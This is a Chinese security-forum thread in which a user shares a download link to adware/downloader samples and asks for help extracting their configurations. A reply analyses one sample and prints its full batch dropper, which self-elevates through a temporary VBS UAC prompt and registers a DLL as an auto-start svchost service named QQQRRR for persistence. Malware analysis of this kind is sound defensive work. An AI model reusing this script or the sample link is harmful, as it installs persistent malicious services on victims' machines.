谁能帮我提取这些下载器的配置文件

adware

https://www.123pan.com/s/FxRKVv-DJf6d.html  提取码：WFjf
样本无密码
帮我提取这些下载器的配置文件谢谢了我不知道怎么提取配置文件像图片中的一样

祸兮福所倚

下载以后小A360双杀，都是不等下载完就杀了

DisaPDB

10b9d7ea6c2b261ebb029d559c5314ac0f0b507af43baba32080cd0aeee2f7aa.exe是自解压文件
Downloader内含有.bat，内容如下：

复制自解压包内的prsstt.dll 到用户Appdata目录，然后创建一个名为 QQQRRR 的服务并启动它实现持久化

剩下几个帮不了你

1. [url=home.php?mod=space&uid=331734]@echo[/url] OFF & CD /D "%~DP0"
   
2. >NUL 2>&1 reg.exe query "HKU\S-1-5-19" || (
   
3.     ECHO SET UAC = CreateObject^("Shell.Application"^) > "%TEMP%\Getadmin.vbs"
   
4.     ECHO UAC.ShellExecute "%~f0", "%1", "", "runas", 1 >> "%TEMP%\Getadmin.vbs"
   
5.     "%TEMP%\Getadmin.vbs"
   
6.     DEL /f /q "%TEMP%\Getadmin.vbs" 2>NUL
   
7.     Exit /b
   
8. )
   
9. cd /d "%~dp0"
   
10. echo y|xcopy prsstt.dll "%localappdata%\jjjjjj"
    
11. sc create QQQRRR binpath= "%SystemRoot%\System32\svchost.exe -k QQQRRREX" start= auto type= own
    
12. reg add HKLM\SYSTEM\CurrentControlSet\Services\QQQRRR /v WOW64 /t reg_dword /d 1 /f
    
13. reg add HKLM\SYSTEM\CurrentControlSet\Services\QQQRRR\Parameters /v ServiceDll /t reg_expand_sz /d "%localappdata%\jjjjjj\prsstt.dll" /f
    
14. reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Svchost" /v QQQRRREX /t reg_multi_sz /d "QQQRRR" /f
    
15. sc config QQQRRR start= auto
    
16. sc start QQQRRR

复制代码

4fefdcdf7cc5ef4f25c5edcf2054e34eb21a62ce6d38b0b03e9fd07fd59abfbf.exe

1. 
   
2. 1 VERSIONINFO
   
3. FILEVERSION 3,2,0,8
   
4. PRODUCTVERSION 3,2,0,8
   
5. FILEOS 0x40004
   
6. FILETYPE 0x1
   
7. {
   
8. BLOCK "StringFileInfo"
   
9. {
   
10.         BLOCK "080404b0"
    
11.         {
    
12.                 VALUE "CompanyName", "-"
    
13.                 VALUE "FileDescription", " "
    
14.                 VALUE "FileVersion", "3.2.0.8"
    
15.                 VALUE "InternalName", "FastDownloader.exe"
    
16.                 VALUE "LegalCopyright", "Copyright (C) 2018"
    
17.                 VALUE "OriginalFilename", "FastDownloader.exe"
    
18.                 VALUE "ProductName", "软件下载器"
    
19.                 VALUE "ProductVersion", "3.2.0.8"
    
20.         }
    
21. }
    
22. 
    
23. BLOCK "VarFileInfo"
    
24. {
    
25.         VALUE "Translation", 0x0804 0x04B0  
    
26. }
    
27. }
    

复制代码